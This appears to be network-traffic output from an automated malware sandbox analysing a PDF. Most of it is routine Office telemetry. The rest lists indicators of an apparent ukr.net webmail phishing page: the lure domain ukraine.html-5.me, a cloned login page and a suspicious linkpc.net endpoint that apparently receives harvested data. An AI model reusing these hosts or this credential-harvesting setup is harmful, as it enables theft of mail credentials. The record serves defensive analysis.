Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: ukraine.html-5.meConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aes.js HTTP/1.1Host: ukraine.html-5.meConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Referer: http://ukraine.html-5.me/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?i=1 HTTP/1.1Host: ukraine.html-5.meConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://ukraine.html-5.me/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: __test=1b5e2a0eec1f2859cc96e1923afde53a
Source: global traffic	HTTP traffic detected: GET /aes.js HTTP/1.1Host: ukraine.html-5.meConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: __test=1b5e2a0eec1f2859cc96e1923afde53a

Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: ukraine.html-5.me
Source: global traffic	DNS traffic detected: DNS query: run.mocky.io
Source: global traffic	DNS traffic detected: DNS query: httpbin.org
Source: global traffic	DNS traffic detected: DNS query: jkbfgkjdffghh.linkpc.net
Source: global traffic	DNS traffic detected: DNS query: _17461._https.jkbfgkjdffghh.linkpc.net
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: accounts.ukr.net
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 24 Oct 2024 06:50:24 GMTConnection: closeContent-Length: 0Sozu-Id: 01JAYMMTZA9QQM5DRRTEMPR6MC

Source: 77EC63BDA74BD0D0E0426DC8F80085060.1.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: chromecache_194.10.dr	String found in binary or memory: http://scripts.sil.org/OFL
Source: chromecache_194.10.dr	String found in binary or memory: http://scripts.sil.org/OFL).
Source: chromecache_194.10.dr	String found in binary or memory: http://scripts.sil.org/OFLCopyright
Source: VM2ICvV5qQ.pdf	String found in binary or memory: http://ukraine.html-5.me/)
Source: chromecache_199.10.dr	String found in binary or memory: http://ukraine.html-5.me/?i=1
Source: chromecache_194.10.dr	String found in binary or memory: http://www.latofonts.com/Lato-BoldLato
Source: chromecache_194.10.dr	String found in binary or memory: http://www.latofonts.com/http://www.typoland.com/http://www.latofonts.com/Copyright
Source: chromecache_194.10.dr	String found in binary or memory: http://www.typoland.com/)
Source: 2D85F72862B55C4EADD9E66E06947F3D0.1.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: chromecache_187.10.dr	String found in binary or memory: https://accounts.ukr.net/login/assets/loader-3VguyQcd.gif
Source: chromecache_187.10.dr	String found in binary or memory: https://accounts.ukr.net/login/favicon.ico
Source: chromecache_187.10.dr	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/jquery/1.10.1/jquery.min.js
Source: chromecache_187.10.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/lato-font/2.0.0/fonts/lato-bold/lato-bold.ttf)
Source: chromecache_187.10.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/lato-font/2.0.0/fonts/lato-bold/lato-bold.woff)
Source: chromecache_187.10.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/lato-font/2.0.0/fonts/lato-bold/lato-bold.woff2)
Source: chromecache_187.10.dr	String found in binary or memory: https://httpbin.org/ip
Source: chromecache_187.10.dr	String found in binary or memory: https://jkbfgkjdffghh.linkpc.net:17461
Source: chromecache_187.10.dr	String found in binary or memory: https://mail.ukr.net
Source: chromecache_187.10.dr	String found in binary or memory: https://mail.ukr.net/terms_uk.html
Source: chromecache_187.10.dr	String found in binary or memory: https://raw.githubusercontent.com/noppa/text-security/master/dist/text-security-disc.woff
Source: chromecache_196.10.dr	String found in binary or memory: https://run.mocky.io/v3/11273092-7220-4b85-b8d8-758c5fd141a2
Source: chromecache_187.10.dr	String found in binary or memory: https://run.mocky.io/v3/8dbd585e-805d-4b14-8485-c6da4c3ef5a7
Source: chromecache_187.10.dr	String found in binary or memory: https://www.ukr.net/terms/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
